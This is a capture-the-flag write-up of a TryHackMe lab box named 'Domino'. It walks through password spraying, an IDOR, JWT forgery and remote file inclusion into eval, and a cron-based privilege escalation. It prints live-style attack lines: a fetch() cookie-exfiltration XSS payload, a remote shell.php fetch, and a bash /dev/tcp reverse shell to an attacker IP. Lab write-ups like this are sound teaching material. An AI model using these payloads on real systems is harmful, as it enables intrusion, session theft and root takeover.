Domino

Jul 5, 2026

|

11 min read

| Room ↗

Domino is a chain that lives up to its name: every step knocks over the next.

Recon

The usual opening move, a full-port service scan to see what the box exposes.

nmap: full TCP service & version scan
nmap -sV -sC -p- <target-ip>
result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: NexusCorp Portal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Two ports. SSH (22) is a dead end without credentials, so the whole box hangs off the Apache instance on port 80, the “NexusCorp Portal”.

Web enumeration

The site greets us with an Employee Portal login. The username placeholder is the first useful leak: it spells out the format, firstname.lastname.

NexusCorp Employee Portal login page
The login form, note the firstname.lastname username hint

The footer links to an Our Team page, which is a gift, a full staff directory with names, roles, and email addresses.

NexusCorp Our Team directory listing seven employees
Seven employees with names, roles, and firstname.lastname@nexus.corp emails

Combining the two, I turned the directory into a firstname.lastname username list:

names.txt
laura.hayes
michael.chen
sarah.johnson
robert.wilson
emma.taylor
david.brown
james.wright

The Forgot password? flow looked promising but only confirms a user exists, it “sends reset instructions” to a masked address and gives us nothing to act on without mailbox access.

Password reset confirmation with a masked email address
Reset instructions sent to la****@nexus.corp, a masked address we can't reach

The page source was clean too. So with a valid username list and no rate limiting in sight, itś time for credential spray.

Spraying with Hydra

I threw the username list at a small common-password list and let Hydra sort a failed login (Invalid) from a success:

hydra: spray the team against a common-password list
hydra -L names.txt \
-P /usr/share/seclists/Passwords/Common-Credentials/darkweb2017_top-100.txt \
<target-ip> http-post-form \
"/index.php:username=^USER^&password=^PASS^:F=Invalid" -I
result: three hits
[80][http-post-form] host: <target-ip> login: sarah.johnson password: ████████
[80][http-post-form] host: <target-ip> login: robert.wilson password: ████████
[80][http-post-form] host: <target-ip> login: emma.taylor password: ████████

Three accounts share the same weak, top-100 password. Logging in as any of them lands on the same dashboard, and they’re all plain user role, no admin panel yet.

Employee dashboard for emma.taylor showing the File Viewer endpoint
The user dashboard exposes /api/files.php?name= and mentions JWT auth via /api/auth/token.php

Two things on that dashboard matter for later:

  • A File Viewer endpoint, /api/files.php?name=, that smells like file inclusion.
  • A note that it requires JWT authentication via /api/auth/token.php.

IDOR → the first flag

Before chasing the file endpoint, there’s a lower-hanging profile API: /api/users/profile.php?id=5. If it reflects whatever id we pass, it’s an IDOR. Walking the ids down, id=1 is the interesting one:

profile.php?id=1 returning laura.hayes with role admin and a flag in notes
IDOR on profile.php?id=1 reveals laura.hayes is the admin, with the first flag hidden in the notes field

id=1 is laura.hayes, role admin, and her notes field carries the first flag. More importantly, the IDOR just told us exactly who to impersonate: everything from here is about becoming laura.hayes. 🚩

Content discovery

With a foothold identity picked out, I mapped the rest of the app:

gobuster: directory brute force
gobuster dir -u http://<target-ip> \
-w /usr/share/seclists/Discovery/Web-Content/big.txt
result (trimmed to the useful hits)
admin (Status: 301) [--> /admin/]
api (Status: 301) [--> /api/]
backup (Status: 301) [--> /backup/]
static (Status: 301) [--> /static/]
support (Status: 301) [--> /support/]

The /backup/ directory has directory listing enabled and holds two files, a README.txt and a config.enc.

Apache index of /backup showing README.txt and config.enc
Directory listing on /backup exposes README.txt and config.enc

The README explains what config.enc is, and, helpfully, where its key lives:

/backup/README.txt
NexusCorp Backup Configuration
================================
config.enc - Encrypted application configuration (AES-128-ECB)
Decryption key reference: see static/app.js (deployment notes)

The key leaked in the frontend

Sure enough, static/app.js hard-codes the backup key in a comment and a config object, damn technical debt.

static/app.js (excerpt)
// Configuration (TODO: move to env before prod deployment - laura 2024-10-22)
const CONFIG = {
apiBase: '/api',
// Encryption key for backup config decryption - AES-ECB-128
// Key: ████████████ (pad to 16 bytes with null)
_backupKey: '████████████',
appVersion: '2.3.1'
};

The comment even tells us how the 14-character key is turned into a 16-byte AES key: it’s padded with two null bytes. So I decoded it to hex, padded with 0000, and decrypted with -nopad:

openssl: decrypt config.enc with the leaked key
openssl enc -d -aes-128-ecb -in config.enc -out config.dec \
-K ████████████████████████████████ -nopad
config.dec
{"app_name":"NexusCorp Portal","version":"2.3.1","deploy_env":"production","system_user":"devops"}

Not the jackpot, but not nothing: it leaks a system_user named devops, a name worth keeping for the privilege-escalation phase.

The /support/ area lets any logged-in user file a ticket, and the confirmation says “An admin will review it shortly.”

Open Support Ticket form confirming an admin will review it
Submitting a ticket promises 'An admin will review it shortly', an admin will touch attacker input

An admin touching my input, plus a JWT that isn’t httpOnly (visible under /api/auth/token.php, with the nexus_session cookie sitting exposed in storage), reads like a textbook cookie-stealing XSS:

token.php returning a JWT and the non-httpOnly nexus_session cookie in storage
token.php hands out a JWT; the nexus_session cookie has HttpOnly and Secure both unset

So I fired a ticket with a payload to exfiltrate document.cookie to my listener:

ticket body: cookie exfil payload
<script>fetch('http://192.168.128.71:8000/?'+encodeURIComponent(document.cookie))</script>
Support ticket submitted containing the XSS fetch payload
The ticket carrying the fetch()-based cookie exfil script

The “admin” does reach out to my server, requests land on my python3 -m http.server, but every callback arrives with an empty query string:

python http.server log showing callbacks with no cookie data
The admin bot hits my listener, but the exfil requests carry no cookie value

I read that as a dead end and moved on. That was half right, and half a rookie mistake that cost me a detour.

WARNING

The bot is not a browser, but the cookie was there anyway. The reviewer fetches ticket URLs server-side (we’ll read the exact code in admin_bot.py later): no DOM, no JavaScript, so document.cookie is always empty and the <script> was pointless. But the bot attaches its admin session to every request as a plain Cookie: header, I just never saw it, because python3 -m http.server only logs the request line, not the headers. A bare link in the ticket (no XSS at all) plus a listener that dumps headers, nc -lvnp 8000, would have handed me Cookie: nexus_session=<laura's admin cookie> for free. That’s the intended route to the second flag; I missed it here and took the scenic route below.

JWT forgery → RFI → RCE (third flag)

Back to the file endpoint. Grabbing a token from /api/auth/token.php and calling files.php returns 403, Admin JWT required:

files.php returning 403 Admin JWT required in Burp
With a normal user's JWT, files.php responds 403: 'Admin JWT required. Check your token payload.'

So the endpoint gates on a role: admin claim inside the JWT. I dropped the token into jwt.io to look at it, and it flagged the token as malformed / signature invalid, yet the server had happily accepted it a moment ago:

jwt.io reporting the token signature is invalid/malformed
jwt.io: the third (signature) segment doesn't validate, yet the server still honored the token

That’s the tell. If the server accepts a token whose signature doesn’t validate, then the signature isn’t being checked, and I can rewrite the payload to whatever I want. So I forged a token with role: admin:

Forging a JWT with role admin in jwt.io
A forged HS256 token with the payload set to role: admin

Replaying files.php with the forged admin token gets me past the role check, and now it returns file contents. First thing I read is the endpoint’s own source, /var/www/html/api/files.php:

files.php source disclosed via the LFI in Burp
Reading files.php's own source through the now-admin file endpoint
api/files.php (the dangerous branch)
if (($jwt_payload["role"] ?? "") !== "admin") {
http_response_code(403);
echo json_encode(["error" => "Admin JWT required. Check your token payload."]);
exit;
}
$name = $_GET["name"] ?? "";
// ...
if (strpos($name, "http://") === 0 || strpos($name, "https://") === 0) {
$remote = @file_get_contents($name);
// ...
ob_start();
eval(str_replace("<?php", "", $remote)); // <-- remote code, eval'd
$output = ob_get_clean();
echo json_encode(["output" => $output]);
exit;
}

This is much worse than the LFI I expected. When name starts with http://, the endpoint fetches a remote URL and eval()s it as PHP. That’s not just Remote File Inclusion, it’s remote code execution by design, straight to a reverse shell.

NOTE

Why the str_replace("<?php", ...) doesn’t save it. The code strips the opening <?php tag before eval(), presumably to “sanitize”, but eval() already executes its argument as PHP, so the tag was never needed. Stripping it just means my payload shouldn’t include <?php. The eval still runs everything else.

I generated a PHP reverse shell (revshells.com, the classic PentestMonkey one), served it, and pointed files.php at it:

serve the payload and catch the shell
python3 -m http.server 8000 # hosts shell.php
nc -lvnp 1337 # catches the callback
the request that triggers it
GET /api/files.php?name=http://192.168.128.71:8000/shell.php
Authorization: Bearer <forged-admin-jwt>
Burp request fetching the remote shell.php through files.php
files.php fetching http://192.168.128.71:8000/shell.php, which it then evals

The listener pops a shell as www-data, and /opt/flag3.txt is the third flag:

www-data foothold + flag 3
www-data@tryhackme-2404:/$ whoami
www-data
www-data@tryhackme-2404:/$ cat /opt/flag3.txt
THM{████████████████████████████}

RFI-to-RCE foothold. 🚩

Post-exploitation: looting /opt

/opt is where this box keeps its secrets. Two things stand out beside the flag: a monitoring/ script and an admin_bot.py.

/opt contents
www-data@tryhackme-2404:/opt$ ls
admin_bot.py flag3.txt monitoring tools

The admin bot spills two secrets

admin_bot.py is the “admin” that reviewed our XSS ticket, and it’s a goldmine. It hard-codes a database password and the HMAC secret used to sign session cookies:

/opt/admin_bot.py (excerpt)
DB_CONFIG = dict(host="localhost", database="nexusdb",
user="app_user", password="████████████",
cursorclass=pymysql.cursors.DictCursor)
APP_SECRET = "████████████████"
def make_session_cookie():
data = b64.b64encode(json.dumps(dict(user_id=1, username="laura.hayes",
role="admin")).encode()).decode()
sig = hmac.new(APP_SECRET.encode(), data.encode(), hashlib.sha256).hexdigest()
return data + "." + sig
# ...
def process(t):
urls = re.findall(r"https?://[A-Za-z0-9./_?&=:%+-]+", t["message"])
for url in set(urls):
requests.get(url, cookies=COOKIE, timeout=5) # <-- fetches ticket URLs, no JS

There it is in code, and it’s exactly why the ticket trick works: the bot regex-extracts every URL from a ticket and requests.get()s it with cookies=COOKIE, its own admin session, attached. Any link I plant gets fetched with laura’s nexus_session sitting right there in the Cookie header. The document.cookie XSS was doomed (no browser), but a bare URL plus header logging would have leaked that cookie outright. Since I walked past that earlier, I’ll just mint the cookie myself from the secret sitting in front of me.

The bot’s make_session_cookie() is a complete recipe: base64 a {user_id:1, username:"laura.hayes", role:"admin"} blob, append an HMAC-SHA256 signature keyed with APP_SECRET. Since I now hold that secret, I can mint laura’s cookie myself:

forge_cookie.py
import base64, json, hmac, hashlib
APP_SECRET = "████████████████" # recovered from admin_bot.py
payload = {"user_id": 1, "username": "laura.hayes", "role": "admin"}
data = base64.b64encode(json.dumps(payload).encode()).decode()
sig = hmac.new(APP_SECRET.encode(), data.encode(), hashlib.sha256).hexdigest()
print("nexus_session=" + data + "." + sig)

Set that as the nexus_session cookie in the browser and the Administration Console opens as laura.hayes, with the second flag in its “Internal reference” panel:

Administration Console logged in as laura.hayes with the second flag
The admin console as laura.hayes; the System Status 'Internal reference' holds the second flag

NOTE

Two roads to this flag. The intended one: drop a link in a support ticket and read laura’s nexus_session straight out of the Cookie header the bot attaches, no XSS required, just a header-logging listener. The one I actually walked: forge the cookie from the leaked APP_SECRET after landing a shell. 🚩

Lateral movement: www-datadevops (fourth flag)

Remember the password="████████████" from the DB config? Password reuse is the oldest trick in the book, and the config decrypted earlier already named a devops system user. I tried the DB password as devops’s login:

su to devops with the reused DB password
www-data@tryhackme-2404:/opt$ su devops
Password: ████████████
devops@tryhackme-2404:/opt$ cat /home/devops/user.txt
THM{████████████████████████████}

It works, the app’s DB password is also the devops account password. That’s the fourth flag. 🚩

Privilege escalation: devopsroot via cron (fifth flag)

Back in /opt there’s a monitoring/health_report.sh and, in tools/, a copy of pspy64. Running pspy shows a root cron job executing that script every minute:

pspy: root runs health_report.sh every minute
CMD: UID=0 PID=2061 | /bin/bash /opt/monitoring/health_report.sh
CMD: UID=0 PID=2071 | /bin/sh -c /opt/monitoring/health_report.sh

And the permissions on that script are the whole ballgame:

the script is group-writable by devops
devops@tryhackme-2404:/opt/monitoring$ ls -l health_report.sh
-rwxrwxr-- 1 root devops 537 May 18 10:41 health_report.sh

Owned by root, group devops, group-writable. I’m devops, root runs it every minute, so I can just append a reverse shell and wait one cycle:

hijack the root cron
devops@tryhackme-2404:/opt/monitoring$ echo 'bash -i >& /dev/tcp/192.168.128.71/1338 0>&1' >> health_report.sh
nc -lvnp 1338 # on my box

Within a minute the cron fires the script as root and connects back:

root shell + flag 5
root@tryhackme-2404:~# cat root.txt
THM{████████████████████████████}

Root, and the fifth and final flag. Box complete. 🚩

Takeaways

  • A team page is an attack surface. The staff directory plus a firstname.lastname hint handed me a ready-made username list; the only thing standing between that and access was a top-100 password and no rate limiting.
  • Don’t ship keys in the frontend. The AES key for config.enc was sitting in static/app.js behind a “TODO: move to env” comment. Anything the browser can read, the attacker can read.
  • An unchecked signature is no signature. files.php honored a JWT whose signature didn’t validate, so the role claim was attacker-controlled. Verifying the signature (and pinning the algorithm) is the entire point of a JWT.
  • file_get_contents(url) + eval = RCE. Fetching a remote URL and evaluating it as PHP isn’t LFI or even RFI, it’s remote code execution written down as a feature. Stripping <?php is not sanitization.
  • Automation scripts are credential stores. admin_bot.py leaked both the session-signing secret (→ forge any session) and a DB password that was reused as a shell login. Secrets belong in a vault, not a script on disk.
  • Group-writable + root cron = root. A monitoring script owned root:devops and group-writable, run by root every minute, is a direct path from devops to root.

Kill Chain

Reconnaissance T1589 · T1595
nmap, two open ports
team page, username enum
gobuster finds /backup/
Credential Access T1110.003 · T1552.001
AES key in app.js, config.enc
Hydra password spray
admin_bot.py: secret + DB pass
Initial Access T1190
IDOR reveals the admin
forge unverified JWT (admin)
forge laura.hayes cookie
Execution T1059
files.php eval() = RFI
www-data reverse shell
Lateral Movement T1078
su devops (password reuse)
Privilege Escalation T1053.003
group-writable root cron → root
web jwt-forgery rfi cron-privesc